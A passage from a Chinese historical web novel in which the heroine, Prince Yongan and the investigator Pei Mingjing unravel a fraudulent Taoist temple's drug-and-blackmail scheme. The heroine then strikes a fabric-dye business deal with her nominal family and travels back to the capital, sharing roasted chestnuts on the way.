晏逐星杀了明真,确实不算无关。
只是想到明真犯下的那些恶行,还有晏逐星之前说的那些话……
他一瞬间动摇。
为了一个本就该死的恶徒,毁掉一个女子一辈子,真的有必要吗?
裴明镜沉默了片刻后,开口道:“有关又如何?案情相关,无可奉告。没有即刻将你捉拿入狱,已经是法外开恩。休要多言。”
“是是是。多谢裴大人。若大人需要我提供什么证据,我一定全力配合。”晏逐星留下一句客套话,果断开溜。
裴明镜看起来没有要将她和这件事扯上关系的意思,那她就没必要硬往上凑了。
想知道发生什么,之后回去找永安王打听不就好了。
想到谢翊宁,晏逐星忽然有些想知道他现在在做什么。
他那样受宠的孩子,这个年一定过得很开心吧。
走出定慈观,晏逐星听到了一阵马蹄声。
她有些好奇地看了过去,这么晚了,谁还会来定慈观?
第116章 永安王来了
马蹄声由远及近,有人踏破风雪而来。
看清来人的那一刻,晏逐星瞪圆了眼睛,脱口而出:“永安王?”
关万海一家听到这个称呼,都吓坏了,不知所措地站在原地发呆。
他们见过最大的贵人就是侯爷了,忽然来个王爷,他们现在该怎么办?
下跪行礼吗?
可王爷大年初一跑来这做什么,不会是晏逐星认错人了吧?
她不也没行礼么。
关万海腹诽刚结束,就看到晏逐星对来人恭恭敬敬地行了一礼:“臣女见过永安王。”
关万海一家人赶忙有样学样,跟着行礼。
谢翊宁抬手拉住缰绳,从马儿上一跃而下,落在了晏逐星面前。
“裴明镜可有为难你?”
他上下将晏逐星打量了一圈,而后又仔细端详了一下她的眼睛。
见她不像哭过的样子,皱着的眉头这才舒展开来。
“没有。”晏逐星摇了摇头,眼里闪过一丝茫然。
她没想到永安王见到她的第一句话是这个。
一旁的关万海等人听到谢翊宁对晏逐星竟然用这样关心的语气,集体倒吸了一口凉气。
好嘛,怪不得这位大小姐这么嚣张,原来背后是有王爷给她撑腰。
而后又暗暗松了一口气。
还好还好,他们没有得罪她。
“今日定慈观发生的事,你仔细同本王说说。此事涉及妖道祸乱朝纲,本王必须调查清楚。”
听到谢翊宁这番话,跟在身后的停云无语凝噎,只得望天。
明明是昨夜侯府大火,定远侯府大少爷被活活烧死,王爷担心远在通州的晏大小姐也遇害,立刻遣了照夜来查探。
不曾想,照夜调查回去复命,称晏大小姐卷入了命案,裴大人来了,还把晏大小姐和她的生父生母扣留了。
王爷生怕裴大人又刁难晏大小姐,于是派人来接这位大小姐回京。
但人才刚走出王府,王爷又改主意了。
他怕裴大人不买别人的账,决定亲自来。
什么调查妖道,明明是来捞人。
谢翊宁说得一脸严肃,晏逐星立刻就信了。
“王爷请随我来。”她将谢翊宁请到了明真的院落当中。
这儿是定慈观最奢华的地方,这样的地方才勉强配得上永安王。
主要还是外边太冷了,不适合谈话。
双鲤十分有眼力见,从屋子里翻出了上好的银丝炭给两人点了炭盆,屋内顿时暖和多了。
拴好马儿跟过来的停云不甘示弱,立刻生火煮了一壶热茶送过来。
晏逐星还没来得及跟谢翊宁好好说今日发生了什么事,裴明镜就来了。
“下官见过王爷。”
谢翊宁抿了一口茶,微微点头。
“不知王爷深夜前来,所为何事?”裴明镜试探地开口。
永安王莫不是为了晏逐星而来?
“听闻通州有一妖道要用邪术害父皇,本王自然得亲自前来查探。”谢翊宁回答得十分坦荡,顺便还解释了与晏逐星私下见面的原因。
“先前得知裴大人还在忙,便请晏大小姐替本王答疑解惑。”
“如今裴大人来了,正好,你们一块说吧。”
晏逐星听到这话,眼眸微微一亮。
裴明镜当着永安王的面肯定不敢撒谎,那么今日定慈观之事他一定会原原本本地说出来。
那她岂不是也能知道发生什么事了?
于是她果断开口:“王爷,那我就先说我知道的吧。”
“嗯。”谢翊宁点了点头。
晏逐星便将昨日遇到唐果一家,还有关万海一家为何要带自己来定慈观,还有后续因为风车跟踪至清,发现明真杀害唐果的事情一一说了出来。
当然,她杀了明真的事情,她也没有隐瞒。
裴明镜有些诧异地看了她一眼。
她竟然将这事也告诉永安王,不怕永安王知道她是这样的女子之后远离她么?
晏逐星说完后,谢翊宁脱口而出:“杀得好,这样的极恶之徒,该受千刀万剐之行。”
裴明镜:“……”
是他担心得太早了。
“一剑封喉,倒是便宜了他。”谢翊宁冷哼一声,而后看向了裴明镜。
“裴大人,你给本王说说,这定慈观到底是怎么一回事吧。”
“是。”裴明镜应下,将今日调查清楚的事情和盘托出。
原来,定慈观根本就不是什么正经道观,明妄就是个会些江湖把戏的骗子。
他们制作的无忧散,实际上里边加了一种特殊的迷魂药。
他们燃香之前,提前服用了解药,因此不受任何影响。
但前来的那些香客们,却中招了。
他们用了一种特殊的技法,再加上无忧散,从那些人口中套出了他们的生平底细,记录在册。
若有做了亏心事的,他们便以此为要挟,让人时常来道观给祖师爷添“供奉”。更恶心的是,遇上了年轻貌美的妇人,他们还会将人迷晕后行不轨之事。
那些妇人们对此还一无所知。
若来的只是一个普通的人,他们便向他们兜售改良后的无忧散。
改良后的无忧散减轻了迷药的分量,让人吸入之后不会半昏迷,只会睡得比较香,而且睡醒后精神焕发,会把当夜的事情忘得一干二净。
因此不少人都来求购这个无忧散。
“这么说起来,这个无忧散若是用在正途上也算一个好东西?”一旁的停云忍不住嘀咕了起来。
“不。此物用久了极其伤身,一日不用便会头疼难受,很难戒断。”裴明镜摇了摇头。
“久而久之,身体也会越来越差,从而逝世。”
谢翊宁翻阅了他递过来的案卷,眉头皱得越来越紧。
这还只是他们查出来的冰山一角,受害者竟然牵连如此广泛。
“此物必须禁了。”谢翊宁果断作出决定。
“下官也有此意。”裴明镜对他这话十分赞同。
这时,晏逐星忽然开口:“有一事,我想请裴大人保密。”
第117章 瞒下这件事
“你放心,若是你杀了明真的事情,本王可以……”谢翊宁率先开口。
晏逐星却摇头打断了他。
“不是这事。”
“那是何事?”裴明镜和谢翊宁同时问出了声。
“关于那些妇人受辱之事,能否瞒下。”晏逐星神色肃穆。
两人听到这话,俱是一怔。
“此事若是传开,但凡来过定慈观的女子,恐怕都会被人怀疑猜忌。到时候,光是那些闲言碎语,就足够毁掉很多人。”晏逐星说出了她的担忧。
两人都沉默了。
确实,这事一旦传开,那些妇人很可能要承受别人异样的眼光,她们的丈夫也难免会怀疑她们是否失了贞洁。
届时,恐怕要闹出不少人命。
裴明镜还在思考,谢翊宁就率先开口了:“晏大小姐言之有理,裴大人,此事日后记得压下不表,着重强调无忧散谋财害命即可。”
“是。”裴明镜应了一声。
他看向晏逐星的眼神变得有些复杂。
她杀人不眨眼,却又心肠柔软,为了无辜百姓的名声考虑这般周全。
可是对自己却一副无所谓的态度。
晏逐星,你究竟是什么样的人。
事情已经真相大白,晏逐星起身告退。
谢翊宁命停云护送他们一家下山。
晏逐星回家洗洗倒头就睡,可关万海却怎么也睡不着。
“你说,咱们认下这个闺女,究竟是好事还是坏事?”他看着夫人,忧心忡忡。
杨氏握住了他的手,安慰道:“夫君,开弓没有回头箭。此事的决定权不在你我,在侯府。”
关万海叹了一口气。
他又何尝不知道呢。
定远侯和晏逐星,一个想让他们认下晏逐星这个女儿,另一个显然不这么想。
可这两个人,不管是谁,他们都得罪不起。
杨氏见他叹气,再次安慰:“车到山前必有路,船到桥头自然直。咱们走一步看一步吧。”
关万海点了点头,夫妻相拥而眠。
*
大年初二,回娘家。
关家的几个女儿今日要带着丈夫和孩子们回来,因此关家的下人们早早就忙活了起来。
关万海盯着硕大的黑眼圈从床上爬起来,刚洗漱完毕,还没见到女儿和姑爷,就瞧见了双鲤。
“关老爷,我家小姐要见你。”
“走吧,莫让她等急了。”关万海哪敢拒绝晏逐星,也不敢摆父亲的谱,立刻乖乖跟着双鲤走了。
下人们看着目瞪口呆。
在家中说一不二的老爷,竟然对新认回来的四小姐言听计从,甚至还带着一点儿畏惧。
关家,怕是要变天了。
关万海见到晏逐星,赶忙行礼:“不知大小姐寻我何事?”
“昨日,我这个亲女儿的名头,关老板用得很高兴嘛。”晏逐星意味深长地看了他一眼。
关万海顿时冷汗淋漓,没想到她竟然这么快就找他算账了。
“这个嘛,这个……”关万海支支吾吾,一时间找不出什么合理的借口。
毕竟面前的这位主儿可不好糊弄。
“关老板不必紧张,坐吧。”晏逐星示意他落座。
关万海立马老实坐下。
“用了我的名头,不给点利息,不合适吧?”晏逐星挑眉看向他。
“关家如今生意大不如钱,我兜里真没几个钱了呀。”关万海开始哭穷。
“我不要现银,我要关家布匹行。”晏逐星轻轻点了点桌子。
关万海脸色瞬间变了,脱口而出:“这可是我们家的心血!你说要就要,未免太过分了。我不同意,你杀了我我也不可能把它给你。”
“关老板不要着急,我不白要。我只要利润的五成。”晏逐星依旧不急不躁。
“五成?!”关万海激动得都破音了。
这和白抢有什么区别?!
“我不……”
“我有平易版浮光锦的秘方,成本只要它的三分之一,但你可以卖相差无几的价格。”晏逐星一句话让关万海的话立刻拐了个弯。
“我不可能不听您的劝,大小姐,您展开讲讲呗。”关万海眼里透露出炙热的光芒,脸上也堆砌起讨好的笑。
浮光锦可是贡品。
如今只有皇室中人才能用上,一匹价值几百两。
有价无市!
哪个做布匹生意的不想有这么一个独家秘方。
若是真能做出媲美浮光锦的布料,他们关家从此定然可以成为百年老店,傲立通州,甚至可以成为大虞最出名的布匹行。
想到那个场景,关万海就激动得恨不得去院子里跑两圈。
晏逐星慢条斯理地喝了一口茶,没说话。
昨夜听到无忧散的成分有虫子时,她忽然想起了上辈子行军作战一个来自岭南的小卒说过的一件事。
他们那有一种亮闪闪的甲虫,每年都会蜕壳。
他阿姐爱美,会用甲虫蜕下来的壳磨成粉,混合着花汁液涂到指甲上,就会变得亮晶晶的。
后来还试过弄到帕子上,帕子在太阳下就变得流光溢彩,十分好看。
他说等日后他娶妻的时候,就让阿姐帮他染帕子送给心爱的人。
当时她想的是等她回京城了,找找看有没有类似的虫子,她也试试这个法子,所以追着那人仔细问了做法。
昨夜回到关家后,她就想着那个法子能不能用到布料上,若是可以,这或许可以成为她日后的营收。
毕竟卖冰并非长久之计。
她日后要做的事情很多,钱是绝对不能少的,得有一个稳当的收益来源才行。
如今她人手不足,这个生意如果她自己做,需要耗费大量的时间金钱精力,和有布匹生意经验的关家合作是当下最好的选择。
“大小姐,喝茶喝茶。”见晏逐星迟迟不说话,关万海殷切地给她倒茶水,眼里满是期待与渴望。
第118章 血脉至亲啊
“关老板想好了?”晏逐星放下了手中的茶盏。
“想好了,您若是拿出秘方来,我愿意给您五成的纯利润!”关万海点头如捣蒜。
“关老板爽快。”晏逐星将自己知晓的事情说了出来。
但具体是什么虫,需要用什么汁液去混合,这些核心的东西她就一笔带过了。
“岭南距离通州,路途遥远,这……”关万海一时间有些迟疑了。
他的生意只在通州和江南一代,岭南他还没去过呢。
“想和我合作的人很多,选你,是因为你现在是我名义上的父亲。过了这个村可就没有这个店了。”晏逐星不轻不重地提了一句。
“你也别想着听我说了这么几句就自己找人去试做,我有的是法子让你把东西卖不出去。”
关万海顿时心虚地低下了头。
他刚刚确实有这么想过。
都要去岭南了,他要拼一把,为何不自己干,分五成利出去,跟割他的肉有什么区别。
晏逐星这么一说,他才想起来,她身后不仅有定远侯府,还有永安王。
“大小姐说笑了,我哪敢呀。”关万海讪讪一笑。
“你也别觉得我白拿你的五成利润。日后你若想推广开这新做好的‘流光缎’,还有什么比京城贵夫人千金小姐都穿上效果更好。我义母乃是列国公夫人,皇后也对我亲睐有加……”
晏逐星的话点到为止。
若关万海还不识趣,她就要换人合作了。
“流光缎?好名字!一听就会大卖。大小姐,从今往后,我都听您的。”关万海被她这么一点,立刻想明白了很多事情。
他就算把那布料做出来了,京城里没个靠山,没人帮他推广,那也没用。
到时候保不准还会被权贵抢走,五成利润都未必能喂饱那些贪心的家伙。
倒不如就选晏逐星。
晏逐星将最后一口茶喝掉,开口道:“拟契书吧。签订好送到官府去,我将秘方写下来给你。你派人去岭南的时候,找找我说的那姑娘,她能帮大忙。”
关万海命人取来笔墨纸砚,而后问道:“好咧,那姑娘叫什么?”
“陈三妹。”
关万海:“……”
这个名字那么普通,怎么找?
去了岭南岂不是大海捞针。
好在晏逐星补充了其他的情况:“她是潮州人士,有两个姐姐,一个哥哥还有两个弟弟。最小的弟弟叫陈春生。年龄……不知道,但现在应该还没有嫁人。”
“我记下了,我一定派人找到这个陈三妹。”关万海点头应下,将拟定好的契约书交给了晏逐星。
他现在可不敢有任何坏心思,写的条款都是最公平公正的那种。
晏逐星仔细看了一遍,确认无误后签下了自己的名字,按下了手印。
而后双方都派人将契约送到官府存档,这个合作就这么定下了。
晏逐星将自己知道的有关秘方的事情,全都写在了纸上。
关万海看着上边笼统的配方,嘴角抽了抽。
他怎么感觉他好像上了晏逐星的贼船下不去了。
现在原材料得他派人去找,染布的方法也得他自己慢慢试,晏逐星只是说了一个地名,一些他没听过的东西,就拿走了五成的利润。
关万海懊悔地掐了自己大腿一把。
早知道,该说四成利润的。
晏逐星可不管他后不后悔,反正这笔生意她不亏。
前期她不管,后期需要推广的时候她找个好时机,穿上流光缎做的裙子,找一个贵夫人千金小姐多的宴会穿出去。
再拜托列国公夫人帮忙宣扬一二,她就不信这流光缎卖不出去。
“老爷,大小姐,几位姑奶奶带着姑爷和表少爷表小姐回来了,等着见你们呢。”门口的管家前来通传。
“这就来。”关万海应声,而后对晏逐星行礼,“大小姐,咱们一块过去吧。”
“好。”晏逐星点了点头。
定远侯府还没有派人来接她,她也没必要急吼吼地赶回去。
万一撞上了温家人,还得费心费力去应付。
就把这一切交给定远侯头疼去吧。
晏逐星跟着关万海出来,见到了关家三个出嫁的女儿。
关霞、关云还有关月。
关霞看到她,眼泪“欻”一下就掉了下来。
“小妹,这些年你受苦了。”
“大姐,你说错了。四姐是定远侯府的千金小姐,才没有受苦呢。”关曜嚷嚷了起来。
原本煽情的场景瞬间变得有些尴尬了起来。
杨氏紧张地看了晏逐星一眼,轻轻将儿子扯到怀里,压低声音道:“不是跟你说了吗,你四姐还没认祖归宗,你不能叫她四姐。要称呼她大小姐。”
关霞听到这话,不赞同地看了母亲一眼。
“娘,您这么说也太见外了。都是一母同胞的姐妹,您这么说,多伤小妹的心啊。”
关云看着就是个老实巴交的人,大姐跟娘亲说话,她也没吭声,只是脸上堆满了愁容。看看这个又看看那个,谁都不敢帮。
关月却冷哼了一声:“大姐,咱们还是先问清楚吧。是娘不让喊,还是某些人不愿意认咱们当亲人。”
“你闭嘴。别在这给我阴阳怪气。”关万海生怕晏逐星当场发飙,立刻站出来呵斥三女儿。
“我怎么就阴阳怪气了。不愿意认咱们她可以不回家的呀,继续当她高高在上的大小姐不就好了。”关月梗着脖子反驳。
“关星,你说,你是不是嫌咱们家是商户,不想认!”她瞪圆了眼睛看向晏逐星。
她的丈夫韩齐扯了扯她的胳膊,压低声音道:“月娘,你少说两句,这可是侯府大小姐,咱们得罪不起。”
而后陪着笑脸看向晏逐星:“月娘怀了身孕所以脾气不太好,您见谅哈。”
听到关月怀了身孕,关霞还有关云都紧张地看着她。
“小妹,怀了孩子怎么不说。”关霞满脸着急。
关月嘟囔道:“还不到三个月呢,有什么好说的。”
“那就更得注意了。你也是双身子的人了,脾气那么暴躁做什么。赶紧进屋休息去。”关霞絮絮叨叨地数落着妹妹,但语气里的关心却是实实在在的。
晏逐星看着她们姐妹仨互相关心的场景,觉得自己好像有些多余。
果然假的就是假的,永远没办法变成真的。
她轻声笑了,看向关万海:“关老板,家务事记得好好处理,别影响了咱们的合作。”
听到她对关万海的称呼,几人都有些惊讶。
关万海赶忙道:“大小姐放心,这事我一定会处理得妥妥当当。”
“大小姐,事情办妥了。”这时,去送契约的双鲤正好回来了。
瞧见她,晏逐星勾起了唇角:“好,那咱们收拾东西,走吧。”
听到这话,关万海吓了一跳:“走吧?您要去哪?”
“回京。”晏逐星不打算继续待下去了。
见识到了关霞对亲妹妹毫不掩饰的关心,她愈发觉得呆在这里只会让她更加想念自己的亲人。
可他们现在究竟再哪里呢?
晏逐星心底是掩不住的失落。
倒不如回侯府去。
看看仇人的尸体,感受一下大仇得报的喜悦。
关万海瞪了关月一眼。
将人气走了吧,到时候惹怒了晏逐星他们全家都没好果子吃。
“赶紧给大小姐道歉。”杨氏急得上前给她拽到了晏逐星面前。
“娘,您当心些,小妹怀了身子呢。”关霞这个长姐可操心坏了,赶忙上前一步护住妹妹。
关月没想到晏逐星竟然说走就走,眼泪一下就涌上来了。
“你,不就是说了你两句吗。又走又走,这回不怕丢了?”她气得直跺脚。
“我不就是想让你喊一句三姐么。”
关月委屈得眼泪啪嗒啪嗒地往下掉。
“是,我们关家是没有侯府好,但我们是你的血脉至亲啊。”
“你喊一句三姐,我还能真把你赶走不成。我和大姐二姐,给你攒了十几年的绢花、簪子,我们有的,你都有一份。你怎么能就这样走了呢。”
关月说着说着,“哇”一声哭得更大声了。
晏逐星看得目瞪口呆。
她还以为关月很讨厌她呢,原来,竟是这般心口不一么。
“你不许走,你要是不满意,觉得还不够,我把出嫁时候爹娘给我的东西都给你还不行么。”关月哭得一把鼻涕一把眼泪,拉着她的手不肯松开。
当初爹娘是带着她和小妹一块去青州的。
只是后来唯独小妹走丢了,她却被带回了家。
她一直很自责,要是那会她没有吵着要买糖糕吃就好了,就不会弄丢妹妹了。
得知小妹这些年在侯府当千金小姐,她还替她松了一口气。
一直想着见面了该怎么找回丢失了多年的姐妹感情。
谁曾想,回来之后见到的小妹却和从前大不相同。
小时候最黏着她最乖巧的妹妹,变得生人勿近,还不许弟弟叫她姐姐。
她一时忍不住就发了脾气。
“那个,我不是被你赶走的,我是确实该回去了……”晏逐星有些招架不住她着突如其来的热情,直抽回手想退后。
一旁的双鲤听到这话,一脸崇拜地看向她。
“小姐,您会卜卦么,您怎么知道咱们今日就该回侯府了?!”
“嗯?侯府来人了么?”晏逐星有些惊讶。
“没呢。”双鲤摇头。
第119章 对她感兴趣
“那是?”晏逐星一时间没反应过来。
“是永安王在巷子口等着您呢,说是侯爷让他顺道捎您回京。”双鲤快速把事情说了一遍。
“那你怎么不早说。”关万海比晏逐星还着急。
“怎么能让永安王在等着呢,快快快,快将人请进来。”
他满面红光。
他们家还没来过王爷呢,若是永安王能来关家坐一坐,日后说出去也光宗耀祖啊。
晏逐星打断了他的吩咐。
“不必了,我这就走。永安王不喜外人,关老板还是不要轻易往上凑,万一弄巧成拙,惹怒了他可就麻烦了。”
关家可以利用她的名头,但她不想将谢翊宁牵涉其中。
而且定远侯哪里拜托得动永安王捎她一程,肯定是他有话想对她说。
晏逐星果断让下人回屋收拾行李,她先去见谢翊宁。
听到永安王的名讳,关月止住了哭声,如今瞧见晏逐星要走,她急急忙忙地追了上去,塞了一对银手镯给她。
款式简单,但用料却很扎实。
“这是我和大姐二姐一块给你凑的见面礼,你要走,也得带上。”
见她眼眶红红,晏逐星怕拒绝了她,待会她又要哭,耽误她去见永安王,只得收下了。
反正之后和关家还有生意上的往来,到时候再把镯子还给她吧。
“多谢。”
晏逐星匆匆去了门外,一眼就看到了谢翊宁的马车。
她赶忙行礼:“见过王爷。不知王爷在此,让您久等了。”
谢翊宁掀开车帘下了车。
他开口提醒道:“无妨。你大哥去世了,你也该回京吊唁,定远侯竟然还未派人来接你。你再不回去,有心之人恐怕又要以此大做文章了。”
“王爷思虑甚是周全。”晏逐星压根没考虑不回去自己的名声会变坏这事。
反正现在的名声已经够坏了,再坏又能坏到哪去。
而且是定远侯没派人来告诉她的,她假装不知道不就行了。
谢翊宁:“反正本王也要回京,若你打算回去,可以跟在我们后边。通州到京城虽然不算太远,但终归你们主仆都是弱女子,路上若是遇着歹人,那就麻烦了。”
停云:“……”
弱女子三个字,晏大小姐只和女子两个字沾边好吧。
谁家弱女子动不动就废人命根子,还搞什么一剑封喉。
歹徒遇上晏大小姐,还是先想想自己能不能活命吧。
“我正有回京的打算,那就多谢王爷了。”晏逐星笑着道谢。
此时,另一辆马车缓缓驶来。
子平拉住缰绳,冲车里的主子低声道:“大人,永安王也在。”
裴明镜微微皱眉。
昨天夜里,他仔细思考了近距离看清永安王和晏逐星相处时候的情况。
两人看起来似乎并无男女之情。
永安王不可能帮晏逐星杀人,而当时晏逐星腿还没好,也不能行凶。
之前或许是他猜错了,所以才迟迟没有找到证据。
但如今这么一看,他又有点看不明白了。
永安王对晏逐星,究竟是什么意思?
而且晏逐星给他的感觉很奇怪,她身上似乎还藏了许多的秘密,让他忍不住想要去挖掘。
他活了二十多年来,头一回对女子这般感兴趣。
他决定再试探试探。
“微臣见过永安王。”他下了车,冲谢翊宁行了一礼。
“裴大人,好巧啊,今日咱们又遇见了。”谢翊宁漫不经心地扫了他一眼。
晏逐星自觉地退后一步。
“王爷和裴大人有话要说,小女就先告退了。”
“等等。”裴明镜和谢翊宁同时开口。
话音一落,两人都看向了对方。
谢翊宁先开口:“本王和裴大人不熟,没什么好说的。妖道之事,回京你上奏父皇即可。”
裴明镜看了他一眼:“微臣不是来找您的。”
而后又看向晏逐星。
“晏大小姐,我是来找您的。”
“裴大人找我何事?”晏逐星脑海里飞快闪过了昨天发生的蛛丝马迹。
不是说了不抓她了么,怎么又来了。
“根据明妄供述,他还有一同伙叫明宵回乡去了,这两日就会回来。明宵手上沾过人命,是穷凶极恶之徒。因而我想请晏大小姐跟我一同回京。”裴明镜解释道。
谢翊宁勾唇:“裴大人无需操心此事,本王今日正好要回京,定远侯拜托本王顺路捎她一程,所以她今日会跟本王一起回去。你放心,本王一定要会将她平安带回去的。”
“王爷您误会了。”裴明镜摇头。
“微臣是觉得晏大小姐武艺高强,她可以保护微臣。毕竟她能一剑就解决掉明真,想必明宵也不在话下。”
“毕竟微臣的护卫已经快马加鞭将证据送回京了。如今我身边只有子平一人,恐怕不足以御敌。”
“我扫荡了定慈观,明宵定然恨透了我,想要将我除之而后快。为了我的安全着想,我想与晏大小姐一块同行。”
谢翊宁:?
裴明镜莫不是还没放过晏逐星,打算从她身上再调查出什么蛛丝马迹好让她坐牢?
晏逐星:?
她是不是该谢谢裴明镜认可了她的武艺。
如果裴大人开的护送价格合理,她送他回京倒也不是不行。
停云:?
裴大人究竟是怎么样脸不红心不跳地说出这样的话的。
子平:?
大人,来之前可不是这么说的。
他明明也很强!
谢翊宁脸上的笑容变淡:“那恐怕要让裴大人失望了,晏大小姐先前已经答应与本王同行。”
“那就更好了。微臣也想与王爷同行,想必跟随王爷的都是各种高手,就算来十个明宵也无需畏惧。”裴明镜面不改色地套近乎。
为了查案,他掏过耗子洞,挖过别人的坟,如今只是被永安王拒绝两句,算不得什么。
谢翊宁略一思索,点了点头,答应了下来:“裴大人可是国之栋梁,本王定不会让你受半点伤害,那你就随我们一块回京吧。”
他单独与晏逐星一块回京,即便只是顺路不再一辆马车上,日后也难免会有人非议。
带上裴明镜,正好。
晏逐星就更没什么意见了,不花钱的护卫,她有什么可拒绝的。
就是可惜了,没能挣到裴明镜的钱。
毕竟裴明镜身旁那个护卫看着就是个练家子,武艺不差,他非要找自己护送,肯定另有所图。
到时候肯定是那家伙主要负责保护裴明镜。
她糊弄糊弄,就能挣一笔钱,简直不要太幸福。
这时,双鲤也带着下人把收拾好的行李抬上了马车,一行人很快就出发了。
关万海急匆匆地领着家里人来给晏逐星送行。
关家的几个女儿也已经从爹娘口中得知了真相。
晏逐星压根不是她们的亲妹妹。
几人面面相觑,尤其是关月,直接尴尬得不想见人了。
因而便没有出来给晏逐星送行。
“关老爷,你回吧,有空我会再来通州探望你们的。”晏逐星冲他们挥了挥手。
裴明镜听着她的称呼,心念一动。
难不成,关万海并非她的生父?
可为何定远侯却大张旗鼓地宣扬此事?
定远侯夫人服毒自尽,大少爷忽然死于火场,会和这事有关吗?
“好好好。有事你尽管往家里来信啊。”关万海冲她的马车挥了挥手。
晏逐星留意到了裴明镜思索的目光,唇角微微上翘。
按照裴明镜的性子,一旦发现了什么线索,一定会打破沙锅问到底。
到时候他查出真相,让他来揭穿关万海并非她生父,真是一个不错的选择。
定远侯恐怕要焦头烂额了。
晏逐星心情大好,关上了车帘,在车里支了个小炭炉,跟双鲤一块炒栗子吃。
这是那日除夕在街上学来的做法。
有个卖栗子的小贩,他家的栗子比旁的都要香甜,但也更贵。
旁人问起,他便大大方方地说了,他家的栗子加了糖,所以贵。
众人顿时恍然大悟。
毕竟,糖可是个精贵的东西。
除了糖,他还往锅里放了洗干净的圆润石子,混着一块炒,虽然不明白是什么道理,但是就是很好吃。
晏逐星原本是打算今日跟关家几位出嫁的女儿领回来的孩子,一块炒栗子玩的。
没想到最后竟然在马车上用来打发时间了。
小小的一锅很快就炒好了。
但是第一锅,晏逐星没把握好技巧,炒的有些焦糊。
她闻了闻,掰开一个尝了一口。
嗯,香味是够了,但味道不咋滴。
她把栗子给了双鲤。
“喏,送去给裴大人。”
双鲤瞪大了眼睛。
裴大人三番五次找茬,怎么还给裴大人送东西。
她没说话,晏逐星也从她的大眼睛里猜到了她的想法。
晏逐星嘿嘿一笑:“他忙着剥栗子,待会就没空来问东问西了。”
双鲤恍然大悟,冲晏逐星竖起了大拇指:“小姐真聪明。”
晏逐星吸取了教训,重新开始炒第二锅。
双鲤捧着栗子跑去找了裴明镜。
“裴大人,这是我家小姐做的炒栗子,您昨日查案辛苦啦。您尝尝,可香啦。”
裴明镜有些惊讶,晏逐星竟然主动给他送东西?
“永安王那边可送了?”他下意识地问道。
“没呢,就给大人您送了。”双鲤说完也不管裴明镜会怎么想,直接跑走了。
前头的永安王之前就听说晏逐星生了炭火要弄吃的,随后又听到马车里窸窸窣窣的声音,现在嗅到了隐约随风传来的香气,心中好奇愈发旺盛。
忍不住开口吩咐:“你去问问,晏大小姐在弄什么东西的。”
停云应下,扭头就看到双鲤笑容灿烂地给裴明镜送吃的。
他顿时替自家王爷打抱不平了。
他家王爷为晏大小姐做了那么多事情,她做了吃的,竟然先给裴明镜送去了?
第120章 两人想不通
“你给他送的什么吃的?”停云拦住了双鲤。
“糖炒栗子。”双鲤回答完就爬上了小姐的马车,根本没给他继续追问的机会。
停云憋着一肚子的气回去汇报。
“哦,不过是糖炒栗子罢了,又不是什么稀罕物,本王什么好东西没吃过。”谢翊宁面无表情地将手里的棋子放到棋盘上。
“那能一样么。宫里的芙蓉酥送来,您第一时间就让人给晏大小姐送了去。如今她做了糖炒栗子,不说第一个给您送来,也该一人一份吧。”停云替主子鸣不平。
谢翊宁嗤笑:“本王只要独一无二的东西。区区糖炒栗子,雪团儿都不稀罕吃的玩意,送来扔了就是。”
“这倒是。雪团儿金贵着呢。”停云赞同地点了点头。
雪团儿是王爷养的猫。
三年前西戎国使臣送来的,长毛蓝眼睛,看着特别讨喜。
后宫里好几个公主明里暗里说想要,皇上谁也没给,王爷不过是看了一眼,当天夜里猫儿连着养猫奴都送到王府来了。
现在在永安王府被养得白白胖胖,在王府的地位堪称一人之下万人之上。
谁都得宠着。
“不过……”停云还要说什么,谢翊宁就横了他一眼。
“你话那么多,是不是最近操练少了?”
停云立马闭嘴。
车内重新变得安静,谢翊宁有些心烦气躁。
不过是一盘糖炒栗子,停云怎么跟没见过世面似的,说说说个不停。
栗子是晏逐星的,她想给谁就给谁,有什么好说的。
可是他帮了她那么多,她怎么也不给他送点。
她明明不是那样不知感恩的人啊。
不止是谢翊宁,裴明镜也没想明白。
明明晏逐星和永安王看起来更熟络,怎么就只给了他,没给永安王呢?
难不成她怕他出尔反尔,还用明真的死威胁她?
他岂是那样的人。
“子平,你说她意欲何为?”裴明镜想不出来,干脆询问起贴身近卫。
“是想拉近关系,还是有事相求?”
子平摇了摇头:“属下不知。会不会人家只是单纯地给您送点吃的呢?”
“那为什么不给永安王送?”裴明镜又问。
“说不定待会就送了呢。”子平有些无奈。
他家大人什么都好,就是太爱想太多。
或许这就是聪明人的通病吧。
一件简单的事情,也能想得很复杂。
裴明镜听到这话,沉默地退回了马车里。
这时,最前头永安王的马车停下了。
“前边有积雪,挖通了再继续走,诸位请稍安勿躁。”
停云回头转告了众人。
晏逐星第二锅糖炒栗子正好出炉。
“不错,这锅很完美。”她嘿嘿一笑,想让双鲤去给永安王送栗子。
但想了想,还是决定自己去。
她去比较能体现对王爷的重视。
说干就干,晏逐星拿着糖炒栗子敲响了谢翊宁的车窗。
“何事?”谢翊宁冷冷的声音从车里传了出来。
“我做了糖炒栗子,给王爷送些。”晏逐星笑眯眯地开口。
谢翊宁沉默了,没说话。
一旁的停云站出来替主子发声:“我家王爷不吃栗子。”
“哦,这样啊,那太可惜了。这锅炒得比上锅好多了,我特意给王爷选的呢。”晏逐星低声嘟囔了一句。
车内耳尖的谢翊宁听到“特意”二字,嘴角不自觉上翘。
他“欻”一下打开车窗。
“给我吧。”
晏逐星有些惊讶:“您不是不吃栗子么?”
“停云记错了。”谢翊宁警告地看了一眼正欲张口的停云。
停云:“……”
刚刚是谁说的送来就扔了?
“那可太好了。”晏逐星眼睛亮晶晶的看着谢翊宁,将栗子双手递了过去。
“王爷您尝尝吧,味道真的不错的。”
谢翊宁接过,剥开了一颗,点点头:“确实不错。晏大小姐好手艺。”
“那是。”晏逐星骄傲地抬起了下巴。
说完又觉得自己这样太张扬了不好,又改口:“也还行吧,和那些老手艺人肯定没法比了。”
谢翊宁脸上的笑意更浓了。
“倒也不必如此自谦,你做得就是很好呀。”
而后他剥开了一个栗子,状似无意地询问:“你不给裴大人送点栗子么?”
“先前送过啦。”晏逐星说完,有些心虚地摸了摸鼻子。
“只是那锅都炒糊炒焦了,希望裴大人不要介意。”
谢翊宁心底那点不开心总算烟消云散了。
“天冷,你快回马车上等着吧,雪挖通了,约莫还有两刻钟就能入京了。”他说完顺手又将桌上的几个冻梨给了晏逐星。
“这梨很甜,据说是林知州夫人娘家的珍藏,你也尝尝。”
“多谢王爷。”晏逐星没有推辞。
她知道谢翊宁财大气粗,最不喜欢推推拉拉了,因此果断收下,高高兴兴地回了自己的马车。
谢翊宁目送她离开,而后将目光落到了裴明镜马车的方向。
没想到,裴明镜竟然也下了马车。
